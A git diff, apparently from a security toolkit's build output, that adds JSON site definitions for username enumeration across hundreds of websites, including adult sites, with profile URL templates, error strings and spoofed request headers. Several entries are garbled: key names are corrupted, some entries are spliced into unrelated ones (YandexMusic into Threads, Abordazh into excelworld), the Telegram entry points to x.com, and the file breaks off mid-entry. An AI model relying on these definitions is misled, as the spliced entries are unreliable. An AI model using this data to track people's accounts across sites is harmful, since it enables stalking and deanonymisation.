"errorType": "status_code", + "url": "http://promodj.com/{}", + "urlMain": "http://promodj.com/", + "username_claimed": "blue" + }, + "Pronouns.page": { + "errorType": "status_code", + "url": "https://pronouns.page/@{}", + "urlMain": "https://pronouns.page/", + "username_claimed": "andrea" + }, + "PyPi": { + "errorType": "status_code", + "url": "https://pypi.org/user/{}", + "urlProbe": "https://pypi.org/_includes/administer-user-include/{}", + "urlMain": "https://pypi.org", + "username_claimed": "Blue" + }, + "Python.org Discussions": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://discuss.python.org/u/{}/summary", + "urlMain": "https://discuss.python.org", + "username_claimed": "pablogsal" + }, + "Rajce.net": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.rajce.idnes.cz/", + "urlMain": "https://www.rajce.idnes.cz/", + "username_claimed": "blue" + }, + "Rarible": { + "errorType": "status_code", + "url": "https://rarible.com/marketplace/api/v4/urls/{}", + "urlMain": "https://rarible.com/", + "username_claimed": "blue" + }, + "Rate Your Music": { + "errorType": "status_code", + "url": "https://rateyourmusic.com/~{}", + "urlMain": "https://rateyourmusic.com/", + "username_claimed": "blue" + }, + "Rclone Forum": { + "errorType": "status_code", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org/", + "username_claimed": "ncw" + }, + "RedTube": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.redtube.com/users/{}", + "urlMain": "https://www.redtube.com/", + "username_claimed": "hacker" + }, + "Redbubble": { + "errorType": "status_code", + "url": "https://www.redbubble.com/people/{}", + "urlMain": "https://www.redbubble.com/", + "username_claimed": "blue" + }, + "Reddit": { + "errorMsg": "Sorry, nobody on Reddit goes by that name.", + "errorType": "message", + "headers": { + "accept-language": "en-US,en;q=0.9" + }, + "url": "https://www.reddit.com/user/{}", + "urlMain": "https://www.reddit.com/", + "username_claimed": "blue" + }, + "Realmeye": { + "errorMsg": "Sorry, but we either:", + "errorType": "message", + "url": "https://www.realmeye.com/player/{}", + "urlMain": "https://www.realmeye.com/", + "username_claimed": "rotmg" + }, + "Reisefrage": { + "errorType": "status_code", + "url": "https://www.reisefrage.net/nutzer/{}", + "urlMain": "https://www.reisefrage.net/", + "username_claimed": "reisefrage" + }, + "Replit.com": { + "errorType": "status_code", + "url": "https://replit.com/@{}", + "urlMain": "https://replit.com/", + "username_claimed": "blue" + }, + "ResearchGate": { + "errorType": "response_url", + "errorUrl": "https://www.researchgate.net/directory/profiles", + "regexCheck": "\\w+_\\w+", + "url": "https://www.researchgate.net/profile/{}", + "urlMain": "https://www.researchgate.net/", + "username_claimed": "John_Smith" + }, + "ReverbNation": { + "errorMsg": "Sorry, we couldn't find that page", + "errorType": "message", + "url": "https://www.reverbnation.com/{}", + "urlMain": "https://www.reverbnation.com/", + "username_claimed": "blue" + }, + "Roblox": { + "errorType": "status_code", + "url": "https://www.roblox.com/user.aspx?username={}", + "urlMain": "https://www.roblox.com/", + "username_claimed": "bluewolfekiller" + }, + "RocketTube": { + "errorMsg": "OOPS! Houston, we have a problem", + "errorType": "message", + "isNSFW": true, + "url": "https://www.rockettube.com/{}", + "urlMain": "https://www.rockettube.com/", + "username_claimed": "Tatteddick5600" + }, + "RoyalCams": { + "errorType": "status_code", + "url": "https://royalcams.com/profile/{}", + "urlMain": "https://royalcams.com", + "username_claimed": "asuna-black" + }, + "Ruby Forums": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://ruby-forum.com/u/{}/summary", + "urlMain": "https://ruby-forums.com", + "username_claimed": "rishard" + }, + "RubyGems": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]{1,40}", + "url": "https://rubygems.org/profiles/{}", + "urlMain": "https://rubygems.org/", + "username_claimed": "blue" + }, + "Rumble": { + "errorType": "status_code", + "url": "https://rumble.com/user/{}", + "urlMain": "https://rumble.com/", + "username_claimed": "John" + }, + "RuneScape": { + "errorMsg": "{\"error\":\"NO_PROFILE\",\"loggedIn\":\"false\"}", + "errorType": "message", + "regexCheck": "^(?! )[\\w -]{1,12}(?Page no longer exists", + "url": "https://slideshare.net/{}", + "urlMain": "https://slideshare.net/", + "username_claimed": "blue" + }, + "Slides": { + "errorCode": 204, + "errorType": "status_code", + "url": "https://slides.com/{}", + "urlMain": "https://slides.com/", + "username_claimed": "blue" + }, + "SmugMug": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z]{1,35}$", + "url": "https://{}.smugmug.com", + "urlMain": "https://smugmug.com", + "username_claimed": "winchester" + }, + "Smule": { + "errorMsg": "Smule | Page Not Found (404)", + "errorType": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "username_claimed": "blue" + }, + "Snapchat": { + "errorType": "status_code", + "regexCheck": "^[a-z][a-z-_.]{3,15}", + "request_method": "GET", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "username_claimed": "teamsnapchat" + }, + "SOOP": { + "errorType": "status_code", + "url": "https://www.sooplive.co.kr/station/{}", + "urlMain": "https://www.sooplive.co.kr/", + "urlProbe": "https://api-channel.sooplive.co.kr/v1.1/channel/{}/station", + "username_claimed": "udkn" + }, + "SoundCloud": { + "errorType": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "username_claimed": "blue" + }, + "SourceForge": { + "errorType": "status_code", + "url": "https://sourceforge.net/u/{}", + "urlMain": "https://sourceforge.net/", + "username_claimed": "blue" + }, + "SoylentNews": { + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorType": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "username_claimed": "adam" + }, + "SpeakerDeck": { + "errorType": "status_code", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com/", + "username_claimed": "pylapp" + }, + "Speedrun.com": { + "errorType": "status_code", + "url": "https://speedrun.com/users/{}", + "urlMain": "https://speedrun.com/", + "username_claimed": "example" + }, + "Spells8": { + "errorType": "status_code", + "url": "https://forum.spells8.com/u/{}", + "urlMain": "https://spells8.com", + "username_claimed": "susurrus" + }, + "Splice": { + "errorType": "status_code", + "url": "https://splice.com/{}", + "urlMain": "https://splice.com/", + "username_claimed": "splice" + }, + "Splits.io": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://splits.io/users/{}", + "urlMain": "https://splits.io", + "username_claimed": "cambosteve" + }, + "Sporcle": { + "errorType": "status_code", + "url": "https://www.sporcle.com/user/{}/people", + "urlMain": "https://www.sporcle.com/", + "username_claimed": "blue" + }, + "Sportlerfrage": { + "errorType": "status_code", + "url": "https://www.sportlerfrage.net/nutzer/{}", + "urlMain": "https://www.sportlerfrage.net/", + "username_claimed": "sportlerfrage" + }, + "SportsRU": { + "errorType": "status_code", + "url": "https://www.sports.ru/profile/{}/", + "urlMain": "https://www.sports.ru/", + "username_claimed": "blue" + }, + "Spotify": { + "errorType": "status_code", + "url": "https://open.spotify.com/user/{}", + "urlMain": "https://open.spotify.com/", + "username_claimed": "blue" + }, + "Star Citizen": { + "errorMsg": "404", + "errorType": "message", + "url": "https://robertsspaceindustries.com/citizens/{}", + "urlMain": "https://robertsspaceindustries.com/", + "username_claimed": "blue" + }, + "Status Cafe": { + "errorMsg": "Page Not Found", + "errorType": "message", + "url": "https://status.cafe/users/{}", + "urlMain": "https://status.cafe/", + "username_claimed": "blue" + }, + "Steam Community (Group)": { + "errorMsg": "No group could be retrieved for the given URL", + "errorType": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "username_claimed": "blue" + }, + "Steam Community (User)": { + "errorMsg": "The specified profile could not be found", + "errorType": "message", + "url": "https://steamcommunity.com/id/{}/", + "urlMain": "https://steamcommunity.com/", + "username_claimed": "blue" + }, + "Strava": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com/", + "username_claimed": "blue" + }, + "SublimeForum": { + "errorType": "status_code", + "url": "https://forum.sublimetext.com/u/{}", + "urlMain": "https://forum.sublimetext.com/", + "username_claimed": "blue" + }, + "TETR.IO": { + "errorMsg": "No such user!", + "errorType": "message", + "url": "https://ch.tetr.io/u/{}", + "urlMain": "https://tetr.io", + "urlProbe": "https://ch.tetr.io/api/users/{}", + "username_claimed": "osk" + }, + "TheMovieDB": { + "errorType": "status_code", + "url": "https://www.themoviedb.org/u/{}", + "urlMain": "https://www.themoviedb.org/", + "username_claimed": "blue" + }, + "TikTok": { + "url": "https://www.tiktok.com/@{}", + "urlMain": "https://www.tiktok.com", + "errorType": "message", + "errorMsg": [ + "\"statusCode\":10221", + "Govt. of India decided to block 59 apps" + ], + "username_claimed": "charlidamelio" + }, + "Tiendanube": { + "url": "https://{}.mitiendanube.com/", + "urlMain": "https://www.tiendanube.com/", + "errorType": "status_code", + "username_claimed": "blue" + }, + "Topcoder": { + "errorType": "status_code", + "url": "https://profiles.topcoder.com/{}/", + "urlMain": "https://topcoder.com/", + "username_claimed": "USER", + "urlProbe": "https://api.topcoder.com/v5/members/{}", + "regexCheck": "^[a-zA-Z0-9_.]+$" + }, + "Topmate": { + "errorType": "status_code", + "url": "https://topmate.io/{}", + "urlMain": "https://topmate.io/", + "username_claimed": "blue" + }, + "TRAKTRAIN": { + "errorType": "status_code", + "url": "https://traktrain.com/{}", + "urlMain": "https://traktrain.com/", + "username_claimed": "traktrain" + }, + "Telegram": { + "errorMsg": [ + "Telegram Messenger", + "If you have Telegram, you can contact User ", + "429 Too Many Requests" + ], + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "url": "https://x.com/{}", + "urlMain": "https://x.com/", + "urlProbe": "https://nitter.privacydev.net/{}", + "username_claimed": "blue" + }, + "Typeracer": { + "errorMsg": "Profile Not Found", + "errorType": "message", + "url": "https://data.typeracer.com/pit/profile?user={}", + "urlMain": "https://typeracer.com", + "username_claimed": "blue" + }, + "Ultimate-Guitar": { + "errorType": "status_code", + "url": "https://ultimate-guitar.com/u/{}", + "urlMain": "https://ultimate-guitar.com/", + "username_claimed": "blue" + }, + "Unsplash": { + "errorType": "status_code", + "regexCheck": "^[a-z0-9_]{1,60}$", + "url": "https://unsplash.com/@{}", + "urlMain": "https://unsplash.com/", + "username_claimed": "jenny" + }, + "Untappd": { + "errorType": "status_code", + "url": "https://untappd.com/user/{}", + "urlMain": "https://untappd.com/", + "username_claimed": "untappd" + }, + "Valorant Forums": { + "errorMsg": "The page you requested could not be found.", + "errorType": "message", + "url": "https://valorantforums.com/u/{}", + "urlMain": "https://valorantforums.com", + "username_claimed": "Wolves" + }, + "VK": { + "errorType": "response_url", + "errorUrl": "https://www.quora.com/profile/{}", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "username_claimed": "brown" + }, + "VSCO": { + "errorType": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "username_claimed": "blue" + }, + "Velog": { + "errorType": "status_code", + "url": "https://velog.io/@{}/posts", + "urlMain": "https://velog.io/", + "username_claimed": "qlgks1" + }, + "Velomania": { + "errorMsg": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "errorType": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "username_claimed": "red" + }, + "Venmo": { + "errorMsg": ["Venmo | Page Not Found"], + "errorType": "message", + "headers": { + "Host": "account.venmo.com" + }, + "url": "https://account.venmo.com/u/{}", + "urlMain": "https://venmo.com/", + "urlProbe": "https://test1.venmo.com/u/{}", + "username_claimed": "jenny" + }, + "Vero": { + "errorMsg": "Not Found", + "errorType": "message", + "request_method": "GET", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co/", + "username_claimed": "blue" + }, + "Vimeo": { + "errorType": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "username_claimed": "blue" + }, + "VirusTotal": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.virustotal.com/gui/user/{}", + "urlMain": "https://www.virustotal.com/", + "urlProbe": "https://www.virustotal.com/ui/users/{}/avatar", + "username_claimed": "blue" + }, + "VLR": { + "errorType": "status_code", + "url": "https://www.vlr.gg/user/{}", + "urlMain": "https://www.vlr.gg", + "username_claimed": "optms" + }, + "WICG Forum": { + "errorType": "status_code", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "url": "https://discourse.wicg.io/u/{}/summary", + "urlMain": "https://discourse.wicg.io/", + "username_claimed": "stefano" + }, + "Wakatime": { + "errorType": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com/", + "username_claimed": "blue" + }, + "Warrior Forum": { + "errorType": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "username_claimed": "blue" + }, + "Wattpad": { + "errorType": "status_code", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "urlProbe": "https://www.wattpad.com/api/v3/users/{}/", + "username_claimed": "Dogstho7951" + }, + "WebNode": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.webnode.cz/", + "urlMain": "https://www.webnode.cz/", + "username_claimed": "radkabalcarova" + }, + "Weblate": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9@._-]{1,150}$", + "url": "https://hosted.weblate.org/user/{}/", + "urlMain": "https://hosted.weblate.org/", + "username_claimed": "adam" + }, + "Weebly": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-]{1,63}$", + "url": "https://{}.weebly.com/", + "urlMain": "https://weebly.com/", + "username_claimed": "blue" + }, + "Wikidot": { + "errorMsg": "User does not exist.", + "errorType": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "username_claimed": "blue" + }, + "Wikipedia": { + "errorMsg": "centralauth-admin-nonexistent:", + "errorType": "message", + "url": "https://en.wikipedia.org/wiki/Special:CentralAuth/{}?uselang=qqx", + "urlMain": "https://www.wikipedia.org/", + "username_claimed": "Hoadlck" + }, + "Windy": { + "errorType": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "username_claimed": "blue" + }, + "Wix": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "username_claimed": "support" + }, + "WolframalphaForum": { + "errorType": "status_code", + "url": "https://community.wolfram.com/web/{}/home", + "urlMain": "https://community.wolfram.com/", + "username_claimed": "unico" + }, + "WordPress": { + "errorType": "response_url", + "errorUrl": "wordpress.com/typo/?subdomain=", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "username_claimed": "blue" + }, + "WordPressOrg": { + "errorType": "response_url", + "errorUrl": "https://wordpress.org", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "username_claimed": "blue" + }, + "Wordnik": { + "errorMsg": "Page Not Found", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.+-]{1,40}$", + "url": "https://www.wordnik.com/users/{}", + "urlMain": "https://www.wordnik.com/", + "username_claimed": "blue" + }, + "Wykop": { + "errorType": "status_code", + "url": "https://www.wykop.pl/ludzie/{}", + "urlMain": "https://www.wykop.pl", + "username_claimed": "blue" + }, + "Xbox Gamertag": { + "errorType": "status_code", + "url": "https://xboxgamertag.com/search/{}", + "urlMain": "https://xboxgamertag.com/", + "username_claimed": "red" + }, + "Xvideos": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://xvideos.com/profiles/{}", + "urlMain": "https://xvideos.com/", + "username_claimed": "blue" + }, + "YandexMusic": { + "__comment__": "The first and third errorMsg relate to geo-restrictions and bot detection/captchas.", + "errorMsg": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 404", + "Threads • Log in", + "errorType": "message", + "headers": { + "Sec-Fetch-Mode": "navigate" + }, + "url": "https://www.threads.net/@{}", + "urlMain": "https://www.threads.net/", + "username_claimed": "zuck" + }, + "toster": { + "errorType": "status_code", + "url": "https://www.toster.ru/user/{}/answers", + "urlMain": "https://www.toster.ru/", + "username_claimed": "adam" + }, + "tumblr": { + "errorType": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://www.tumblr.com/", + "username_claimed": "goku" + }, + "uid": { + "errorType": "status_code", + "url": "http://uid.me/{}", + "urlMain": "https://uid.me/", + "username_claimed": "blue" + }, + "write.as": { + "errorType": "status_code", + "url": "https://write.as/{}", + "urlMain": "https://write.as", + "username_claimed": "pylapp" + }, + "xHamster": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://xhamster.com/users/{}", + "urlMain": "https://xhamster.com", + "urlProbe": "https://xhamster.com/users/{}?old_browser=true", + "username_claimed": "blue" + }, + "znanylekarz.pl": { + "errorType": "status_code", + "url": "https://www.znanylekarz.pl/{}", + "urlMain": "https://znanylekarz.pl", + "username_claimed": "janusz-nowak" + }, + "Platzi": { + "errorType": "status_code", + "errorCode": 404, + "url": "https://platzi.com/p/{}/", + "urlMain": "https://platzi.com/", + "username_claimed": "freddier", + "request_method": "GET" + }, + "BabyRu": { + "url": "https://www.baby.ru/u/{}", + "urlMain": "https://www.baby.ru/", + "errorType": "message", + "errorMsg": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0432\u044b \u0438\u0441\u043a\u0430\u043b\u0438, \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430", + "\u0414\u043e\u0441\u0442\u0443\u043f \u0441 \u0432\u0430\u0448\u0435\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d" + ], + "username_claimed": "example" + } +} diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/sites.db b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/sites.db new file mode 100644 index 0000000..9cbb75c Binary files /dev/null and b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/sites.db differ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/snoop.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/snoop.json new file mode 100644 index 0000000..d15e7a2 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/snoop.json @@ -0,0 +1,63308 @@ +{ + "11x2": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://11x2.com/user/home/{}", + "urlMain": "https://11x2.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "123rf": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "response_url", + "url": "https://ru.123rf.com/profile_{}", + "urlMain": "https://ru.123rf.com", + "usernameON": "rawpixel", + "bad_site": "" + }, + "1337x": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error something went wrong", + "errorMsg2": "Attention Required! | Cloudflare", + "errorMsg3": "блокирован", + "errorTyp��": "message", + "url": "http://1337x.to/user/{}/", + "urlMain": "http://1337x.to", + "usernameON": "adam", + "bad_site": "" + }, + "1911forum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.1911forum.com/members/?username={}", + "urlMain": "https://www.1911forum.com/", + "usernameON": "jswi1980", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "247sports": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "247Sports", + "errorMsg2": "Welcome to the end of the internet!", + "errorTyp��": "message", + "url": "https://247sports.com/user/{}/", + "urlMain": "https://247sports.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "2berega_spb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "2берега.спб.ру - социально-методическая сеть Невского района Санкт-Петербурга", + "errorTyp��": "message", + "errorMsg3": "><title>404", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://2berega.spb.ru/user/{}", + "urlMain": "https://2berega.spb.ru", + "usernameON": "adam", + "comments": "https://2berega.spb.ru/user/{}/&from=peopleonline", + "bad_site": "" + }, + "2d-3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.2d-3d.ru/user/{}/", + "urlMain": "https://www.2d-3d.ru", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "308-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.308-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.308-club.ru", + "usernameON": "sanches36", + "bad_site": "" + }, + "33bru__CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Общая ошибка", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "http://{}.33bru.com/", + "urlMain": "http://33bru.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "35photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://35photo.pro/{}/profile", + "urlMain": "https://35photo.pro", + "usernameON": "alx1", + "bad_site": "" + }, + "3ddd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://3ddd.ru/users/rutut/blogs", + "urlMain": "https://3ddd.ru", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "3dtoday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://3dtoday.ru/blogs/{}", + "urlMain": "https://3dtoday.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "3rm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://3rm.info/user/{}/", + "urlMain": "https://3rm.info", + "usernameON": "donat", + "comments": "cf", + "bad_site": 1 + }, + "42km": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Ничего не найдено...", + "errorTyp��": "message", + "url": "http://www.42km.ru/c?name={}&x=0&y=0&country_id=1&town_id=0&sex=0&grade_id=0", + "urlMain": "http://www.42km.ru", + "usernameON": "adam", + "bad_site": "" + }, + "4allforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://4allforum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://4allforum.ru", + "usernameON": "urban", + "bad_site": "" + }, + "4gameforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
", + "errorMsg2": "NoneNone", + "errorMsg3": "Выдающиеся пользователи |", + "errorTyp��": "message", + "url": "https://4gameforum.com/members/?username={}", + "urlMain": "https://4gameforum.com", + "usernameON": "persty", + "bad_site": "" + }, + "4pda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, Ваш поиск не дал никаких результатов.", + "errorMsg2": "<title>Just a moment...", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://4pda.to/forum/index.php?act=search&source=pst&noform=1&username={}", + "urlMain": "https://4pda.to/", + "comments": "cf", + "usernameON": "green", + "bad_site": "" + }, + "4stor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://4stor.ru/user/{}", + "urlMain": "https://4stor.ru", + "usernameON": "adam", + "bad_site": "" + }, + "4x4_tomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://4x4.tomsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://4x4.tomsk.ru", + "usernameON": "svh701", + "bad_site": "" + }, + "50cc": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://50cc.com.ua/index/8-0-{}", + "urlMain": "http://50cc.com.ua", + "usernameON": "1g0g", + "bad_site": "" + }, + "7Cups": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.7cups.com/@{}", + "urlMain": "https://www.7cups.com/", + "usernameON": "blue", + "bad_site": "" + }, + "7dach": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://7dach.ru/profile/{}", + "urlMain": "https://7dach.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Abirvalg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://abirvalg.net/forum/members/?username={}", + "urlMain": "https://abirvalg.net", + "usernameON": "dmitrypioneer", + "bad_site": "", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Able2know": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://able2know.org/user/{}/", + "urlMain": "https://able2know.org", + "usernameON": "yalow", + "bad_site": "" + }, + "Abordazh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "\n403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.excelworld.ru/index/8-0-{}", + "urlMain": "http://www.excelworld.ru", + "usernameON": "Mazila", + "bad_site": "" + }, + "Exo": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://exo.at.ua/index/8-0-{}", + "urlMain": "https://exo.at.ua", + "usernameON": "lara007", + "bad_site": "" + }, + "Exploretalent": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "info-text\">", + "errorMsg2": "userNode\":{}},\"", + "errorMsg3": "undefined", + "errorTyp��": "message", + "url": "https://www.exploretalent.com/{}", + "urlMain": "https://www.exploretalent.com", + "usernameON": "klaus", + "bad_site": "" + }, + "EybooksTO": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 resultados", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://eybooks.to/search/?q={}&quick=1&type=core_members", + "urlMain": "https://eybooks.to", + "usernameON": "invers0r", + "bad_site": 1 + }, + "EyeEm": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "blue | EyeEm Photographer", + "errorMsg2": "Not Found (404)", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "usernameON": "blue", + "bad_site": "" + }, + "F-droid": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.f-droid.org/u/{}/summary", + "urlMain": "https://forum.f-droid.org", + "usernameON": "tip", + "bad_site": "" + }, + "F3_cool": { + "country": "🇱🇻", + "country_klas": "LV", + "errorTyp��": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "usernameON": "blue", + "bad_site": "" + }, + "F6s": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "404", + "errorMsg2": "We think you might", + "errorMsg3": "unavailable in your location", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.f6s.com/{}", + "urlMain": "https://www.f6s.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "F95zone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://f95zone.to/members/?username={}", + "urlMain": "https://f95zone.to", + "usernameON": "retro", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "FA-Wiki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://wiki.fa100.ru/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "http://wiki.fa100.ru", + "usernameON": "Anatolyk", + "comments": "Oplata", + "bad_site": "" + }, + "Fabswingers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.fabswingers.com/profile/{}", + "urlMain": "https://www.fabswingers.com", + "usernameON": "adam", + "bad_site": "" + }, + "Facebook (деятельность запрещена в России)": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.facebook.com/{}/", + "urlMain": "https://www.facebook.com/", + "usernameON": "RED", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "comments": "ZAK_user", + "bad_site": 1 + }, + "Facenama": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": 